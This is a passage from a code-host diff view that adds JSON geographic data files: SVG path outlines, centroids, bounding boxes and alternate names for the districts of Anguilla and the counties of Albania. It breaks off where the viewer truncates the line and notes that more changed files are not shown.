-53l207 -27l34 -18l74 -38l90 4l-128 83l-96 64l-72 61l-162 5l-9 52l-125 0l0 83l-98 74z","c":[-63.088,18.208],"b":[3445,4524,4137,4950]},{"name":"West End","names":["West End"],"code":"AI-X14~","path":"M3447 4950l-160 120l-154 52l-195 -3l290 -342l87 -70l130 -47z","c":[-63.138,18.186],"b":[2938,4660,3447,5122]},{"name":"Blowing Point","names":["Blowing Point"],"code":"AI-X01~","path":"M4136 4769l-429 269l-33 -51l-76 -54l-53 -57l0 -83l125 0l9 -52l162 -5l72 -61l96 -64l6 112l75 -37l46 -79z","c":[-63.094,18.189],"b":[3545,4607,4136,5038]},{"name":"The Farrington","names":["The Farrington"],"code":"AI-X11~","path":"M4484 4577l-81 25l-267 167l0 -162l1 -79l161 -89l143 -15l32 38z","c":[-63.044,18.217],"b":[4136,4424,4484,4769]},{"name":"Sandy Hill Bay","label":{"pt":"Sandy Hill","en":"Sandy Hill Bay"},"names":["Sandy Hill","Sandy Hill Bay","Côte-de-Sable","Sandy-hegy"],"code":"AI-X08~","path":"M4885 4346l-65 85l-123 82l-213 64l-11 -115l-32 -38l56 -85l70 -188l134 9l180 -71l-14 48l-63 99l86 0z","c":[-63.015,18.23],"b":[4441,4089,4890,4577]},{"name":"Island Harbour","names":["Island Harbour"],"code":"AI-X04~","path":"M4742 3957l1 -67l145 -22l-61 89z","c":[-63.003,18.27],"b":[4742,3868,4888,3957]},{"name":"AI-X00","names":[],"code":"AI-X00","path":"M0 0l59 14l-49 86zM1871 3783l102 -57l89 43l108 3l-180 119l-106 -39zM2663 3940l24 -5l63 14l56 18l-45 16l-39 -2l-31 -25zM2865 3990l22 0l13 -11l24 2l8 41l-35 5l-30 -7z","c":[-63.426,18.598],"b":[0,0,2932,4027]},{"name":"George Hill","names":["George Hill"],"code":"AI-X03~","path":"M4009 4611l128 -83l-1 79l-46 79l-75 37z","c":[-63.066,18.209],"b":[4009,4528,4137,4723]},{"name":"The Quarter","names":["The Quarter","French Quarter"],"code":"AI-X12~","path":"M4441 4424l-143 15l32 -66l15 -31l152 -3z","c":[-63.04,18.23],"b":[4298,4339,4497,4439]}]}
+1
View File
@@ -0,0 +1 @@
{"cc":"AL","bbox":[19.272,39.637,21.0367,42.6548],"w":1321,"h":3000,"main":[0,0,1321,3000],"proj":{"lon0":19.27203,"lat1":42.65481,"kx":748.59446,"ky":994.10133},"regions":[{"name":"Dibër","names":["Dibër","Qarku i Dibres","Dibra","Dibrë","Qark Dibra","Debre ili","Dibër prefektur"],"code":"AL-09","path":"M906 1306l-3 19l-17 -24l-4 -10l-2 -13l1 -19l-17 5l-23 -5l-8 5l-4 -5l-3 0l-4 2l-12 13l-11 3l-11 0l-15 -5l-7 1l-12 6l-16 14l-8 2l-4 3l-5 5l-56 -20l-10 -8l-29 -31l-21 0l-12 14l-5 1l-5 -3l-6 -10l-6 -6l-26 -20l-9 -17l-4 -14l-15 -23l-15 -16l-9 -8l-6 -3l-9 -1l-29 -23l-27 -33l-6 -25l1 -8l-3 -7l-3 -6l-13 -16l6 -19l-2 -42l3 -17l18 10l16 4l11 -1l13 -4l12 -7l10 14l20 8l5 -2l3 -10l12 -9l12 -1l26 5l7 -2l8 -10l3 -12l9 -8l72 -29l5 -9l1 -6l-1 -14l-3 -7l-32 -27l-1 -4l1 -2l5 -2l17 -2l9 -4l16 -19l9 -6l12 -21l0 -14l6 7l-1 10l3 10l6 5l8 1l14 -3l8 -5l15 -19l11 -5l15 2l-1 3l4 19l21 31l5 15l-1 7l18 -2l11 -4l10 -9l-4 -6l0 -3l8 -2l15 -1l47 9l25 -6l7 0l0 6l6 25l1 20l-5 9l-17 17l-7 10l-6 13l-2 10l5 72l4 21l16 47l0 8l-4 11l-6 6l-10 6l-11 5l-37 8l3 14l-2 27l5 14l9 4l15 24l5 30l6 4l12 2l6 4l9 13l4 12l0 13l-5 17l-7 13l-10 13l-11 6z","c":[20.177,41.608],"b":[398,751,957,1325]},{"name":"Kukës","names":["Kukës","Qarku i Kukesit","Kosova","Kossovo","Qark Kukës","Kukës ili","Kukës prefektur"],"code":"AL-07","path":"M950 789l0 16l-7 0l-25 6l-47 -9l-15 1l-8 2l0 3l4 6l-10 9l-11 4l-18 2l1 -7l-5 -15l-21 -31l-4 -19l1 -3l-15 -2l-11 5l-15 19l-8 5l-14 3l-8 -1l-6 -5l-3 -10l1 -10l-6 -7l10 -18l28 -26l3 -8l0 -18l4 -23l-10 -25l-9 -6l-22 -4l-17 -16l-7 -10l-5 -4l-15 6l-8 1l0 -2l11 -15l4 -13l-1 -7l-4 -8l2 -8l20 -28l35 -28l8 -15l-6 -16l-22 -10l-7 -1l-11 -12l-23 0l-85 -41l-28 -6l-13 13l-44 -2l-5 1l-15 15l-9 5l-8 2l-3 5l-19 -2l-16 -9l-1 -4l4 -15l2 -23l-15 -63l0 -45l-4 -14l-13 -18l11 -14l5 -13l15 -24l5 -2l28 -16l7 -7l19 -12l36 1l19 -6l27 -35l16 -12l20 11l15 17l37 20l13 16l21 50l14 16l4 7l0 9l-8 11l-1 7l20 22l2 7l-2 14l1 7l7 16l6 7l60 0l12 2l92 67l13 13l20 26l28 61l8 26l2 18l0 32l5 18l23 61l8 33l0 13l-8 18l-6 8l-10 9l-4 12l4 27z","c":[20.193,42.09],"b":[386,96,994,829]},{"name":"Korçë","names":["Korçë","Qarku i Korces","Coriza","Corizza","Koritsa","Koritza","Korça","Kortscha","Qark Korça","Görice ili","Korçë prefektur","Korcza"],"code":"AL-06","path":"M992 1559l6 3l28 2l8 6l8 16l29 122l11 23l18 15l18 5l14 -6l25 -21l15 -3l39 5l38 11l12 13l6 18l2 74l-5 21l-13 15l8 6l7 23l22 21l19 24l8 14l5 18l1 19l-11 53l-2 27l-4 10l-5 6l-14 10l-5 10l-10 3l-8 5l-4 9l0 12l-2 6l-10 15l-18 13l-17 -4l-17 -8l-20 0l-10 7l-7 18l-6 10l-7 4l-15 4l-7 7l-1 9l3 27l-2 23l-12 24l-14 34l-5 6l-9 4l-8 6l-6 9l-3 23l1 40l-8 24l-15 7l-4 5l6 41l-15 44l-6 4l-18 9l-15 -16l-11 -16l-41 -45l-4 -19l-19 -48l-2 -12l1 -6l6 -10l10 -11l-2 -2l-21 -4l-2 -2l-14 -44l-1 -7l7 -28l-1 -15l-2 -8l-17 -23l-3 -8l0 -8l5 -12l10 -10l-14 -3l-9 -20l3 -47l-5 -16l-7 -8l-2 -8l2 -12l6 -8l4 -13l-1 -10l-6 -7l-4 -2l-15 -4l-11 0l-9 -9l-10 -24l-12 -20l-6 -20l-20 -45l-10 -12l6 -10l29 -9l57 -7l12 -5l10 -8l18 -34l-29 -58l-24 -30l-13 -36l19 -10l8 -40l5 -13l4 -6l5 -3l37 -12l36 -21l7 1l28 10l8 1l4 -4l2 -5l3 -18z","c":[20.665,40.614],"b":[764,1559,1321,2559]},{"name":"Elbasan","names":["Elbasan","Qarku i Elbasanit","Qark Elbasan","Elbasan ili","Elbasan prefektur"],"code":"AL-03","path":"M977 1552l15 7l4 41l-3 18l-2 5l-4 4l-8 -1l-28 -10l-7 -1l-36 21l-37 12l-5 3l-4 6l-5 13l-8 40l-19 10l13 36l24 30l29 58l-18 34l-10 8l-12 5l-57 7l-29 9l-6 10l-29 10l-24 1l-6 -3l-4 -10l-6 -4l-18 -1l-24 -10l7 -11l-14 -9l-17 -5l-8 -5l-6 -6l-19 -31l-6 -6l-9 -4l-23 -4l-3 -3l2 -23l-3 -13l3 -9l-2 -5l-9 -3l-6 2l-18 12l-60 -7l-16 6l-31 -9l-11 -10l-9 -26l4 -23l-2 -32l6 -11l1 -19l-10 -4l-9 1l-13 -10l-7 -1l-27 2l-18 -5l-11 -7l-6 -8l-4 -9l-2 -10l2 -6l15 3l5 -7l1 -16l3 -11l6 -6l22 -13l4 -15l24 -2l23 2l15 -3l9 -4l4 -4l0 -2l-7 -3l-3 -5l18 -16l36 -15l16 -3l39 -22l22 -27l10 -15l16 -17l5 0l8 5l7 2l5 -2l20 -18l13 -2l12 -23l17 -15l48 -15l5 -6l4 -11l5 -5l4 -3l8 -2l16 -14l12 -6l7 -1l15 5l11 0l11 -3l12 -13l4 -2l3 0l4 5l8 -5l23 5l17 -5l-1 19l2 13l4 10l17 24l0 2l4 30l12 54l10 25l27 39l12 24l4 22l0 18z","c":[20.136,41.03],"b":[297,1259,996,1928]},{"name":"Gjirokastër","names":["Gjirokastër","Qarku i Gjirokastres","Gjinokastër","Argirocastro","Argyrocastro","Argyrokastron","Qark Gjirokastra","Ergiri ili","Gjirokastër prefektur","Gjirokastra"],"code":"AL-05","path":"M1006 2559l-29 13l-18 2l-40 -6l-13 4l-12 7l-25 -3l-14 6l-10 12l-9 16l-6 18l-3 17l-13 3l-37 1l-9 3l4 8l11 60l4 6l18 18l34 59l3 17l-6 20l-13 14l-13 -2l-13 -8l-28 -11l-1 -5l-8 -12l2 -25l-2 -7l-10 -10l-26 -3l-1 -17l-3 -8l-14 -18l-8 -28l-3 -5l-14 -11l-17 -18l-4 -3l-4 0l-9 -4l-12 -10l-59 -59l-8 -4l-29 -7l-19 6l-10 0l-6 -4l-27 -66l-15 -24l-1 -10l-13 -34l-25 -22l-4 -7l5 -5l1 -9l-3 -12l-13 -26l8 -7l2 -4l-10 -4l-6 -5l-13 -20l-25 -28l-1 -3l16 -16l11 -18l2 -9l-4 -14l-11 -19l10 2l26 -51l27 -25l15 -22l7 -7l11 -1l24 15l15 3l17 0l30 16l16 -4l6 1l11 7l3 0l1 -2l2 -12l15 5l7 7l5 10l5 4l8 3l17 1l75 100l16 12l16 4l5 1l5 -18l5 -6l9 -6l29 -8l6 -6l2 -10l0 -23l6 -3l14 0l32 -4l14 3l-10 10l-5 12l0 8l3 8l17 23l2 8l1 15l-7 28l1 7l14 44l2 2l21Line truncated
Loaded 100 of 333 files, more files were not shown because too many files have changed in this diff. Show more